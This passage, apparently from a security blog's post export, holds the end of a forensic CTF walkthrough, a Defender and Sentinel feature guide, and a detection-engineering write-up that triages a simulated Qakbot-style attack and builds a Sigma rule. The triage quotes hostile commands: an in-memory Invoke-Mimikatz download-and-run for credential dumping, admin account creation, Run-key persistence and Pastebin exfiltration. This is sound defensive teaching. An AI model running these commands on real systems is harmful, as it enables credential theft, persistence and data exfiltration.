C:\\\\Users\\\\%username%\\\\AppData\\\\Roaming\\\\AnyDesk\\\\connection_trace.txt\n C:\\\\ProgramData\\\\AnyDesk\\\\ad_svc.trace\n C:\\\\ProgramData\\\\AnyDesk\\\\connection_trace.txt\n\nThese logs can be useful for investigating connection history, session data, or potential unauthorized remote access. The first file we examine in is the connection_trace.txt,which unsurprisingly reveals that an incoming connection request occurred at 2024-02-16, 20:29. This file reveals how the connection was accepted or rejected, as well as who sent the connection request. However, it does not detail the milliseconds that the question requires.\n\n[Image: Verboten: Forensic CTF Walkthrough — image 25]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/25.png\n\n[Image: /ProgaramData/AnyDesk/connection-_trace.txt]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/26.png\n _/ProgaramData/AnyDesk/connection-trace.txt\n\nTrace Files\n _Table of Contents AnyDesk outputs trace files while running that can be utilized to diagnose problems. Some errors…_support.anydesk.com (https://support.anydesk.com/knowledge/trace-files) (https://support.anydesk.com/knowledge/trace-files)\n\nNow that we have the date and time, let's cross reference the ad.tracefile that contains diagnostics and session related information captured while AnyDesk is running. If we navigate to the previously noted timestamp, we quickly see that there was an “Incoming Session Request” sourced from Richard Beard(221436813). This confirms that the connection attempt aligns with the expected activity timeline and source.\n\n[Image: Verboten: Forensic CTF Walkthrough — image 27]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/27.png\n\nRelevant result from adtrace.\n\n```\ninfo 2024-02-16 20:29:04.298 - Incoming session request: Richard Beard (221436813)\n\n```\n\nverboten{2024–02–16 20:29:04:221436813(Richard Beard)}\n\nQ7) When was the shredder executed? Format: verboten{YYYY-MM-DD-HH-MM-SS}\n\nForensic Value of Prefetch - SANS Internet Storm Center\n _Forensic Value of Prefetch, Author: Johannes Ullrich_isc.sans.edu (https://isc.sans.edu/diary/29168#:~:text=What%20is%20a%20prefetch%20file,the%20application%20in%20subsequent%20executions) (https://isc.sans.edu/diary/29168#:~:text=What%20is%20a%20prefetch%20file,the%20application%20in%20subsequent%20executions)\n\nWhen presented with questions about program execution or unidentified binaries, the first thing to check is forensic artifacts detailing evidence of execution, some being Shimcache, Amcache, UserAssist, SRUM, JumpLists, LNK Files, and obviously Prefetch. When we perform a string search for “prefetch”, we retrieve all relevant prefetch files present on the system. These files can be used to identify executable activity and help determine the timeline of program execution. Scrolling through all the .pf files help us find the weird BLANKANDSECURE_X64.EXE-DF0E2BF6.pf entry found at C:\\USERS\\RANDOM\\DOWNLOADS\\FILE SHREDDER5\\SHREDDER5\\SHREDDER5\\BLANKANDSECURE_X64.EXE, which is regarded as File Shredder.\n\n[Image: Verboten: Forensic CTF Walkthrough — image 28]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/28.png\n\nWe can also utilize FTK Imager to export the prefetch file.\n\n[Image: Verboten: Forensic CTF Walkthrough — image 29]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/29.png\n\nWe then used PECmd to parse the .pf file and convert the output into a human-readable format. The command used was:\n\n-f: Specifies the input .pf file.\n\n--csv: Outputs the parsed data in .csv format.\n\n```\n.\\PECmd.exe -f \"C:\\Users\\Administrator\\Downloads\\CTF\\Verboten\\BLANKANDSECURE_X64.EXE-DF0E2BF6.pf\" --csv \"C:\\Users\\Administrator\\Downloads\\CTF\\Verboten\\Shred.csv\"\n\n```\n\n[Image: PECmd doing its thing]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/30.png\n PECmd doing its thing\n\nOnce the .csv was generated, we opened it using Timeline Explorer, which allows us to:\n\nSort by timestamp\n\nIdentify run counts, first/last run times\n\nReveal DLL dependencies and executable path\n\nThis parsed the execution metadata and produced two key CSV files:\n\nPECmd_Output.csv: Detailed view of execution data\n\nPECmd_Output_Timeline.csv: Chronologically sorted for use in timeline tools\n\n[Image: Verboten: Forensic CTF Walkthrough — image 31]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/31.png\n\nRun Time: 2024-02-16 20:30:51\n\nExecutable Path: C:\\USERS\\RANDOM\\DOWNLOADS\\FILE_SHREDDERS\\SHREDDERS\\SHREDDERS\\BLANKANDSECURE_X64.EXE\n\nRun Count: 1\n\n[Image: Verboten: Forensic CTF Walkthrough — image 32]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/32.png\n\nverboten{2024–02–16 20:30:51}\n\nQ8) What are the answers of the backup questions for resetting the windows password? Format: verboten{answer_1:answer_2:answer_3}\n\nView security questions on Windows 10\n _SecurityQuestionsView is a tool for Windows 10 that allows you to view the security questions and their answers stored…_www.nirsoft.net (https://www.nirsoft.net/utils/security_questions_view.html?utm_source=chatgpt.com) (https://www.nirsoft.net/utils/security_questions_view.html?utm_source=chatgpt.com)\n\nThere are two ways we can we can recover the answers to the backup security questions configured for password recovery. These questions are stored locally and can be extracted either manually from the registry or with the help of SecurityQuestionsView from Nirsoft. The Registry hive needed to extract the security questions is the SAM, once we fed that into the tool, we had the three relevant security questions.\n\n[Image: Verboten: Forensic CTF Walkthrough — image 33]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/33.png\n\nAlternatively, we also parsed this data manually by inspecting the path below, albeit this route is a little more time-consuming. We see the user random (User ID 1000) is listed with a Reset Data field containing the three security questions we noted from SecurityQuestionsView.\n\n```\nHKEY_LOCAL_MACHINE\\\\SAM\\\\SAM\\\\Domains\\\\Account\\\\Users\n\n```\n\n[Image: Verboten: Forensic CTF Walkthrough — image 34]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/34.png\n\nverboten{What was your first pet’s name?:What’s the first name of your oldest cousin?:What’s the name of the first school you attended?}\n\nQ9) What is the single use code that he copied into the clipboard and when did he copy it? Format: verboten{single_use_code:YYYY-MM-DD-HH-MM-SS}\n\nWindows.Forensics.Clipboard\n _This artifact will show the Clipboard activity. The artefact ActivitiesCache.db has started to log clipboard activity…_docs.velociraptor.app (https://docs.velociraptor.app/exchange/artifacts/pages/windows.forensics.clipboard/?utm_source=chatgpt.com) (https://docs.velociraptor.app/exchange/artifacts/pages/windows.forensics.clipboard/?utm_source=chatgpt.com)\n\nFor this part of the investigation, we needed to identify a single-use code that was copied to the clipboard and determine the exact time it happened. This kind of user activity is stored in the ActivitiesCache.db file.\n\n[Image: Verboten: Forensic CTF Walkthrough — image 35]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/35.png\n\n```\nC:\\Users\\*\\AppData\\Local\\ConnectedDevicesPlatform\\*\\ActivitiesCache.db\n\n```\n\nThe first step was to navigate to the path above and extract the ActivitiesCache.db file from the image. This file logs user interactions like clipboard events, app usage, and timeline activities.\n\n[Image: Verboten: Forensic CTF Walkthrough — image 36]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/36.png\n\nWe opened the .db file using an SQLite browser to inspect its contents, and within the Activity table, we see an event related to clipboard usage, containing both a timestamp (in Unix epoch) and a base64-encoded string representing the clipboard content.\n\n[Image: Verboten: Forensic CTF Walkthrough — image 37]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/37.png\n\nThe Unix epoch value was 1708106083, using a timestamp converter, we translated it to 2024–02–16 17:54:43 UTC. Converting this to IST results in 2024–02–16 23:24:43 IST.\n\n[Image: Verboten: Forensic CTF Walkthrough — image 38]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/38.png\n\nWe then took the Base64-encoded string and decoded it in CyberChef, revealing the code:\n\n[Image: Verboten: Forensic CTF Walkthrough — image 39]\nhttps://enleak.dev/images/research/verboten-forensic-ctf-walkthrough/39.png\n\nverboten{830030:2024–02–16–23–24–43}\n"
    },
    {
      "id": "defender-sentinel-investigative-features",
      "title": "Investigative Features in Microsoft Defender and Microsoft Sentinel for SOC Analysts",
      "author": "Enleak",
      "date": "2025-04-11",
      "category": "Detection engineering",
      "summary": "A working analyst’s guide to useful investigation features across Microsoft Defender and Sentinel.",
      "tags": [
        "microsoft-sentinel"
      ],
      "url": "https://enleak.dev/writing/defender-sentinel-investigative-features",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/defender-sentinel-investigative-features.txt",
      "text": "DE&TH DIARIES\n\nInvestigative Features in Microsoft Defender and Microsoft Sentinel for SOC Analysts\nBy Enleak | 2025-04-11\nDetection engineering | full-text\nStatus: published\n\nSource: https://enleak.dev/writing/defender-sentinel-investigative-features\n\nField note\n\n# Investigative Features in Microsoft Defender and Microsoft Sentinel for SOC Analysts\n\nI wrote this quick blog to break down some key investigative features I PERSONALLY use in Microsoft Defender and Sentinel, making it easier…\n\nPublished Apr 11, 20254 min readmicrosoft-sentinel\n\nOriginally published on Medium (https://medium.com/@enleak/investigative-features-in-microsoft-defender-and-microsoft-sentinel-for-soc-analysts-c4359c464a97).\n\n[Image: Investigative Features in Microsoft Defender and Microsoft Sentinel for SOC Analysts — image 1]\nhttps://enleak.dev/images/research/defender-sentinel-investigative-features/01.png\n\nI wrote this quick blog to break down some key investigative features I PERSONALLY use in Microsoft Defender and Sentinel, making it easier for security analysts to understand how these tools can help with threat detection and response (there are a lot of features not mentioned). I also don’t note HOW to use these features, let me know if I should make a separate blog explaining the HOW. Again, the point of this article is not to show you how to use the features, I encourage you to access them yourselves and observe how it affects the quality of your investigation.\n\n### 1. Threat Explorer in Defender\n\n- Allows you to search and filter through emails based on attributes like sender, recipient, subject, URL, and attachments to identify malicious emails.\n\n- Provides insights into email headers, embedded URLs, and attachments to detect phishing attempts.\n\n- Enables quarantining emails, blocking senders, or reporting threats.\n\n[Image: Example image found online.]\nhttps://enleak.dev/images/research/defender-sentinel-investigative-features/02.png\n Example image found online.\n\n### 2. Message Trace in EAC\n\n- Shows whether an email was delivered, rejected, deferred, or quarantined.\n\n- Allows filtering based on sender, recipient, message ID, subject, and timeframe.\n\n- Displays information on emails flagged by anti-spam, anti-malware, DLP (Data Loss Prevention), and transport rules.\n\n- Provides short-term message tracing (up to 10 days) for near real-time investigation and extended message tracing (up to 90 days) for deeper analysis.\n\n[Image: Example image found online.]\nhttps://enleak.dev/images/research/defender-sentinel-investigative-features/03.png\n Example image found online.\n\n### 3. Audit in Purview\n\n- Tracks user and admin actions across Microsoft 365\n\n- Provides audit log insights such as “Who accessed a specific file?” or “What actions did an admin perform?”.\n\n[Image: Example image found online.]\nhttps://enleak.dev/images/research/defender-sentinel-investigative-features/04.png\n Example image found online.\n\n### 4. Activity Log in Microsoft Defender for Cloud Apps\n\n- Monitors file modifications, downloads, renames, and sharing activities.\n\n- Tracks logins, failed login attempts, and privilege escalations.\n\n- Captures resource access logs for cloud services like Microsoft 365, SharePoint, OneDrive, and Active Directory.\n\n- Detects unusual behavior, such as: mass downloads or deletions, multiple failed logins from different locations, impossible travel activity.\n\n[Image: Example image found online.]\nhttps://enleak.dev/images/research/defender-sentinel-investigative-features/05.png\n Example image found online.\n\n### 5. “Users” in Microsoft Entra\n\n- Search and filter users based on properties like name, email, role, and status.\n\n- View sign-in methods (password, MFA, FIDO keys, etc.).\n\n- Monitor user activity, including recent sign-ins and risk detections.\n\n- Gather hostname of their Endpoint, contact information, role, UPN, etc.\n\n[Image: Example image found online.]\nhttps://enleak.dev/images/research/defender-sentinel-investigative-features/06.png\n Example image found online.\n\n### 6. Device Inventory in Microsoft Defender\n\n- Displays all onboarded devices (workstations, servers, mobile devices, IoT).\n\n- Provides details like hostname, OS, IP address, risk level, and exposure score.\n\n- Displays active alerts, running processes, and recent threat detections.\n\n- Shows if a device is isolated, compromised, or under active attack.\n\n- Displays a timestamped sequence of security-related activities on a device.\n\n[Image: Example image found online.]\nhttps://enleak.dev/images/research/defender-sentinel-investigative-features/07.png\n Example image found online.\n\n### 7. Incidents in Microsoft Sentinel\n\n- Automatically correlates multiple related alerts into a single incident.\n\n- Visualizes attack paths and relationships between users, devices, and alerts.\n\n- Incident Details & Timeline\n\n- Etc\n\n[Image: Example image found online.]\nhttps://enleak.dev/images/research/defender-sentinel-investigative-features/08.png\n Example image found online.\n\n8. Incidents in Microsoft Defender\n\n- Displays all alerts, affected assets, and attack progression in one place.\n\n- Provides a timestamped activity log to reconstruct the attack path.\n\n- Visualizes attack relationships between users, files, processes, and network connections.\n\n- Suggests remediation actions such as quarantining files, isolating devices, or blocking users.\n\n- Etc\n\n[Image: Example image found online.]\nhttps://enleak.dev/images/research/defender-sentinel-investigative-features/09.png\n Example image found online.\n\n### 9. Logs in Microsoft Sentinel\n\n- KQL enables you to search, filter, and correlate log data.\n\n- Converts raw logs into custom dashboards.\n\n- Etc\n\n[Image: Example image found online.]\nhttps://enleak.dev/images/research/defender-sentinel-investigative-features/10.png\n Example image found online.\n\n### 10. Advanced Hunting in Microsoft Defender\n\n- Queries data from Defender for Endpoint, Office 365, Identity, and Cloud Apps\n\n- You can create custom KQL queries and set alerts for repeat attack patterns.\n\n- Correlates logs with Indicators of Compromise (IoCs) like malicious IPs, domains, and file hashes.\n\n[Image: Example image found online.]\nhttps://enleak.dev/images/research/defender-sentinel-investigative-features/11.png\n Example image found online.\n\n[Image: Investigative Features in Microsoft Defender and Microsoft Sentinel for SOC Analysts — image 12]\nhttps://enleak.dev/images/research/defender-sentinel-investigative-features/12.jpeg\n\nGoodluck Analysts!\n"
    },
    {
      "id": "triage-and-custom-detection-creation",
      "title": "Triage and Custom Detection Creation— Part 4",
      "author": "Enleak",
      "date": "2025-04-11",
      "category": "Detection engineering",
      "summary": "Trace a simulated phishing incident and build a Sigma rule for suspicious PowerShell download activity.",
      "tags": [
        "atomic-red-team"
      ],
      "url": "https://enleak.dev/writing/triage-and-custom-detection-creation",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/triage-and-custom-detection-creation.txt",
      "text": "DE&TH DIARIES\n\nTriage and Custom Detection Creation— Part 4\nBy Enleak | 2025-04-11\nDetection engineering | full-text\nStatus: published\n\nSource: https://enleak.dev/writing/triage-and-custom-detection-creation\n\nField note\n\n# Triage and Custom Detection Creation— Part 4\n\nThis post simulates a phishing attack leading to credential theft and data exfiltration using Qakbot-like TTPs. We walk through each attack…\n\nPublished Apr 11, 20259 min readatomic-red-team\n\nOriginally published on Medium (https://medium.com/@enleak/triaging-the-simulated-attack-part-4-7a0b3f0345a0).\n\n#### This post simulates a phishing attack leading to credential theft and data exfiltration using Qakbot-like TTPs. We walk through each attack stage, detection technique, and create a custom Sigma rule to identify suspicious use of PowerShell’s Invoke-WebRequest cmdlet.\n\n[Image: Triage and Custom Detection Creation— Part 4 — image 1]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/01.png\n\n#### Incident Summary:\n\nAn employee in the finance department at The Stark Daily, Chris B., received an internal-looking email claiming to contain a new “budget planning template” developed by the IT automation team. The email included a PowerShell one-liner with a GitHub link, stating it would quickly download the Excel file for quarterly forecasting.\n\nIn a rush and assuming it was legitimate, Chris copied and ran the following PowerShell command in his terminal:\n\n```\npowershell.exe -Command \"& {$url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1566.001/bin/PhishingAttachment.xlsm'; Invoke-WebRequest -Uri $url -OutFile 'PhishingAttachment.xlsm'}\"\n\n```\n\nBelieving it to be a genuine internal resource, Chris opened the Excel document PhishingAttachment.xlsm.\n\nUnbeknownst to him, the file contained a malicious macro that executed immediately upon opening. This kicked off a chain of post-exploitation activity.\n\nShortly after the execution, a “Suspicious PowerShell Command Line Detected” alert was triggered, flagging the use of Invoke-WebRequest to pull a remote file from GitHub. This alert became the SOC team’s first indication of a potentially malicious event.\n\nLet’s answer the questions below to build out our timeline of events.\n\n[Image: Triage and Custom Detection Creation— Part 4 — image 2]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/02.png\n\nOn Mar 24, 2025 @ 18:05:17.454, Chris was noted to be downloading the PhishingAttachment.xlsmfile on disk via Powershells’ Invoke-WebRequest cmdlet. Under event.code we see Sysmon Event Code 1, referring to “Process creation,” which revealed not just the launch of PowerShell but also the command line argument:\n\n```\nInvoke-WebRequest -Uri $url -OutFile $env:TEMP\\PhishingAttachment.xlsm}\n\n```\n\n[Image: Triage and Custom Detection Creation— Part 4 — image 3]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/03.png\n\nThe process ID 7760 (PowerShell.exe) served as the parent process for several subsequent executions, including HOSTNAME.EXE, powershell.exe, and conhost.exe, all initiated shortly after the original PowerShell command was run.\n\n[Image: Triage and Custom Detection Creation— Part 4 — image 4]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/04.png\n\nPowerShell.exe (PID: 7760)\n ├── powershell.exe (PID: 6588)\n ├── HOSTNAME.EXE (PID: 3160, 3184)\n ├── conhost.exe (PID: 2740)\n ├── Additional child processes…\n\nShortly after, we see some bare enumeration on the endpoint. On Mar 24, 2025 @ 18:05:22.737, we see the attacker run whoamito gain more insight into the environment and specifically what user they are running under.\n\n[Image: Triage and Custom Detection Creation— Part 4 — image 5]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/05.png\n\nWhat password did the attacker try to assign to the newly created local user account?\n\nWe note an interesting winlog.event_id, 4720, meaning that a user account was created. For additional information on the event id below:\n\n[Image: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4720]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/06.png\n https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4720 (https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4720)\n\n[Image: Triage and Custom Detection Creation— Part 4 — image 7]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/07.png\n\n```\n\"cmd.exe\" /c net user art-test /add & net user art-test -4RTisCool!-321 & net localgroup administrators art-test /add\n\n```\n\nReferencing process.args we observe the adversary creating a new user “art-test” with the “4RTisCool!-321” password on the DOCTORVERSE host. Right after this user is made, they are added to the local Administrators group on that machine.\n\n#### Note:\n\nCreating a new local user account is an attempt to blend in while maintaining long-term access (persistance). By assigning this account to the Administrators group, the attacker ensures they retain full privileges on the system, even if their initial vector (macro, process injection, etc.) is remediated.\n\n```\nnet localgroup administrators art-test /add\n\n```\n\n[Image: Triage and Custom Detection Creation— Part 4 — image 8]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/08.png\n\nWhich binary was configured to run via the registry run key for persistence?\n\nRed Canary has a nice technique page on this:\n\n[Image: https://redcanary.com/threat-detection-report/techniques/modify-registry/]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/09.png\n https://redcanary.com/threat-detection-report/techniques/modify-registry/ (https://redcanary.com/threat-detection-report/techniques/modify-registry/)\n\nThe attacker established persistence by adding a registry value under HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run, causing AtomicRedTeam.exe to execute automatically when the user logs in. Reference to the registry key below:\n\n[Image: https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/10.png\n https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys (https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys)\n\n```\n\"cmd.exe\" /c REG ADD \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"Atomic Red Team\" /t REG_SZ /F /D \"C:\\Path\\AtomicRedTeam.exe\"\n\n```\n\nREG ADDmodifies the Windows Registry by adding a new key or value.\n\n[Image: MITRE ATT&CK T1547.001 — Registry Run Keys / Startup Folder]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/11.png\n MITRE ATT&CK T1547.001 — Registry Run Keys / Startup Folder\n\nIn an interview, if you’re asked to describe a method to establish persistence, you could explain that adding a binary like Example.exe to the registry Run key allows it to execute automatically every time the user logs in. This ensures the attacker's tools remain active across reboots, enabling ongoing access and further actions without reinfecting the system.\n\nThis is also documented for Qakbot:\n\n[Image: https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-242a]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/12.png\n https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-242a (https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-242a)\n\nAfter establishing persistence, what tactic do the subsequent commands fall under?\n\nDiscovery\n\n[Image: Triage and Custom Detection Creation— Part 4 — image 13]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/13.png\n\nAfter persistence was established, the attacker initiated a series of system, network, and user enumeration commands.\n\nThe commands below helped the attacker understand the host’s network configuration, active connections, mapped drives, and neighboring devices\n\n```\nnetsh interface show interface\n\nnet use, netstat -n, ipconfig /all, nbtstat -n, arp -a\n\n```\n\n[Image: Triage and Custom Detection Creation— Part 4 — image 14]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/14.png\n\nWe observe that several commands are chained together using:\n\n```\ncmd.exe /c ipconfig /all & netsh interface show interface & arp -a & nbtstat -n & net config\n\n```\n\nThis suggests automation or scripted enumeration, typical of tools like Qakbot or initial payloads that prep for lateral movement.\n\n[Image: https://www.cybereason.com/blog/threat-alert-aggressive-qakbot-campaign-and-the-black-basta-ransomware-group-targeting-u.s.-companies]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/15.png\n https://www.cybereason.com/blog/threat-alert-aggressive-qakbot-campaign-and-the-black-basta-ransomware-group-targeting-u.s.-companies (https://www.cybereason.com/blog/threat-alert-aggressive-qakbot-campaign-and-the-black-basta-ransomware-group-targeting-u.s.-companies)\n\nWhich malware family was identified based on the multiple discovery-related commands that were executed?\n\nAs we have already established, this activity is typical for Qbot.\n\n[Image: Triage and Custom Detection Creation— Part 4 — image 16]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/16.png\n\nWhat argument was used when executing the Invoke-Mimikatz command?\n\n```\npowershell.exe IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/.../Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds\n\n```\n\nBecause Invoke-Mimikatz was loaded via IEX and never dropped to disk, detection would rely on memory-based indicators, such as unusual LSASS access attempts (e.g., Event ID 4688, Sysmon Event 10, etc)\n\n[Image: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/17.png\n https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5 (https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5)\n\nCredential access was achieved using an in-memory download of Invoke-Mimikatz.ps1 from GitHub, executed via Invoke-Expression. The attacker passed the -DumpCreds parameter, extracting credentials from LSASS without writing files to disk…a common technique for avoiding traditional file-based detections.\n\n[Image: Triage and Custom Detection Creation— Part 4 — image 18]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/18.png\n\nDuring data exfiltration to Pastebin via HTTP, what API key was included in the POST request?\n\nThe command uses:\n\n```\nInvoke-RestMethod -Uri $url -Method Post -Body $postData\n\n```\n\nTo send content (labeled as \"secrets, api keys, passwords...\") to:\n\n```\nhttps://pastebin.com/api/api_post.php\n\n```\n\n[Image: https://attack.mitre.org/techniques/T1567/003/]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/19.png\n https://attack.mitre.org/techniques/T1567/003/ (https://attack.mitre.org/techniques/T1567/003/)\n\nToward the end of the activity chain, we see a PowerShell command using Invoke-RestMethod to POST sensitive data to Pastebin. The script included a valid API key, suggesting the exfiltration was automated. This technique avoids direct connections to attacker controlled infrastructure and uses a well known public service to hide in regular traffic. This tactic is frequently seen in Qakbot.\n\n[Image: Triage and Custom Detection Creation— Part 4 — image 20]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/20.png\n\nRelevant Atomic Attacks:\n\n- T1566.001 — Spearphishing (malicious macro)\n\n- T1078.003 — Valid local account creation\n\n- T1547.001 — Registry Run key persistence\n\n- T1087.001, T1016, T1049 — Host/network discovery\n\n- T1003.001 — Credential dumping with Invoke-Mimikatz\n\n- T1567.003 — Data exfiltration to Pastebin\n\n#### Custom Detection Logic for Suspicious Invoke-WebRequest Usage\n\nAs we detailed above, the malicious PowerShell script executed was:\n\n```\npowershell.exe & {$url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1566.001/bin/PhishingAttachment.xlsm' [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest -Uri $url -OutFile $env:TEMP\\PhishingAttachment.xlsm})\n\n```\n\nTo proactively detect similar abuse of PowerShell’s Invoke-WebRequest cmdlet, I created a custom Sigma rule:\n\n```\ntitle: Suspicious Powershell Invoke-WebRequest Cmdlet Utility\nid: ecs_windows\ndescription: Detects suspicious use of Invoke-WebRequest cmdlet\nstatus: experimental\nauthor: Enleak\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection1:\n    CommandLine|contains: 'WebRequest'\n  selection2:\n    CommandLine|contains: 'Uri'\n  condition: selection1 and selection2\nfields:\n  - CommandLine\n  - ParentImage\n  - Image\n  - User\nlevel: high\ntags:\n  - attack.execution\n  - attack.t1059.001\n  - attack.command_and_control\n  - attack.t1105\n\n```\n\nThe rule targets process creation events where the command line contains both WebRequest or Uri, two common indicators of file download activity from remote sources. We can learn more about creating Sigma rules from this blog:\n\n[Image: https://socprime.com/blog/sigma-rules-the-beginners-guide/#The_Case_for_SIGMA_Rules]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/21.png\n https://socprime.com/blog/sigma-rules-the-beginners-guide/#The_Case_for_SIGMA_Rules (https://socprime.com/blog/sigma-rules-the-beginners-guide/#The_Case_for_SIGMA_Rules)\n\nIn addition to the basic detection, I added MITRE ATT&CK mappings to better categorize the behavior under T1059.001 (PowerShell) and T1105 (Ingress Tool Transfer). This rule is currently marked as experimental and tuned for high-severity alerts.\n\n[Image: Triage and Custom Detection Creation— Part 4 — image 22]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/22.png\n\nAfter creating the Sigma rule, I leveraged pySigma to convert the rule into a fully operational query format. For more information on pySigma, refer to the repo below:\n\n[Image: https://github.com/SigmaHQ/pySigma]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/23.png\n https://github.com/SigmaHQ/pySigma (https://github.com/SigmaHQ/pySigma)\n\nThis allowed me to translate the Sigma detection into a native query language compatible with Elasticsearch. Something to note is the difference between the backend and the pipeline:\n\nBackends in pySigma define the final output format, and pipelines are optional processing layers that modify or normalize Sigma rules before they reach the backend.\n\nThis means that if there are some abstract or interesting custom field names in your environment, you can modify the pipeline to adhere to those naming conventions and ultimately still translate via the backend (you can create your own custom pipeline).\n\n[Image: Triage and Custom Detection Creation— Part 4 — image 24]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/24.png\n\nTo convert the Sigma rule, I ran the following command:\n\n```\nsigma convert -t lucene --backend-option format=kql --pipeline ecs_windows ../../yuh.yml\n\n```\n\nHere’s a breakdown of what each argument is doing:\n\n- sigma convert: This is the pySigma command to start the conversion process.\n\n- -t lucene: Specifies the target backend. In this case, I used the Lucene backend since I was targeting Elasticsearch.\n\n- --backend-option format=kql: Instructs the backend to output the query in KQL (Kibana Query Language) instead of raw Lucene syntax, making it directly usable in Kibana dashboards.\n\n- --pipeline ecs_windows: Applies the ecs_windows pipeline, ensuring the field names (like process.command_line) align with the Elastic Common Schema (ECS) used by default in Elasticsearch environments.\n\n- ../../yuh.yml: This is the path to the Sigma rule file I created earlier.\n\n[Image: Triage and Custom Detection Creation— Part 4 — image 25]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/25.jpg\n\nOnce executed, pySigma parsed the Sigma rule and automatically generated the following KQL query:\n\n```\nprocess.command_line:*WebRequest* AND process.command_line:*Uri*\n\n```\n\nUsing the query generated from pySigma, I manually built a custom detection rule within Kibana’s Security section. For this, I selected Custom query because the detection is based on a simple KQL search, and specified the index pattern to bewinlogbeat-* .\n\n[Image: I left alert suppression settings blank for now. Alerts will trigger individually for each matching event, which is ideal during initial testing to capture all activities without missing anything.]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/26.png\n I left alert suppression settings blank for now. Alerts will trigger individually for each matching event, which is ideal during initial testing to capture all activities without missing anything.\n\nI finalized the rule metadata by setting the severity to High and assigning a risk score of 80, reflecting the critical nature of unauthorized file downloads via PowerShell. I also added a clear description explaining the purpose of monitoring the Invoke-WebRequest cmdlet.\n\n[Image: Triage and Custom Detection Creation— Part 4 — image 27]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/27.png\n\nFor scheduling, I configured the rule to run every 1 minute with an additional 1-minute look-back window. This ensures that any matching activity is detected almost immediately while capturing slight ingestion delays from the log source ( this is a demo, you can modify this as you please).\n\n[Image: Triage and Custom Detection Creation— Part 4 — image 28]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/28.png\n\nTo validate the detection, I reran the original Atomic Red Team script that used Invoke-WebRequest to simulate the attack behavior. As shown above, the custom detection rule successfully triggered, generating two high-severity alerts tied to the doctorverse host. Success!!!\n\n[Image: Triage and Custom Detection Creation— Part 4 — image 29]\nhttps://enleak.dev/images/research/triage-and-custom-detection-creation/29.png\n"
    },
    {
      "id": "windows-audit-policy-sysmon-atomic-red-team",
      "title": "Configure Windows Audit Policy, Sysmon and Atomic Red Team — Part 3",
      "author": "Enleak",
      "date": "2025-04-03",
      "category": "Detection engineering",
      "summary": "Prepare Windows logging and use Sysmon with Atomic Red Team to exercise a detection lab.",
      "tags": [
        "elasticsearch"
      ],
      "url": "https://enleak.dev/writing/windows-audit-policy-sysmon-atomic-red-team",
      "status": "published",
